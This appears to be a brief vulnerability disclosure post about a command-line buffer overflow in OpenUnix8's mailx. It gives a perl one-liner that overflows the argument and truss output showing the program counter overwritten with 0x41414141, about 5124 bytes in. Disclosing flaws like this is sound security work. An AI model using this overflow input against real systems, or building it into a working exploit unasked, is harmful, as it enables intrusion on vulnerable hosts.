OpenUnix8 mailx command line overflow

[dotslash () snosoft com]

> /bin/mail is a symlink to mailx. mailx is not suid however it suffers
> from a common buffer overflow
> -KF
>
> # truss mail `perl -e 'print "A" x 5122'`
> execve("/bin/mail", 0x08045F18, 0x08045F24)  argc = 2
> open("//.mailrc", O_RDONLY, 0666)               Err#2  ENOENT
>      Incurred fault #6, FLTBOUNDS  %pc = 0x202C4141
>        siginfo: SIGSEGV SEGV_MAPERR addr=0x202C4141
>      Received signal #11, SIGSEGV [default]
>        siginfo: SIGSEGV SEGV_MAPERR addr=0x202C4141
>          *** process killed ***

> # truss mail `perl -e 'print "A" x 5124'`
>      Incurred fault #6, FLTBOUNDS  %pc = 0x41414141
>        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
>      Received signal #11, SIGSEGV [default]
>        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
>          *** process killed ***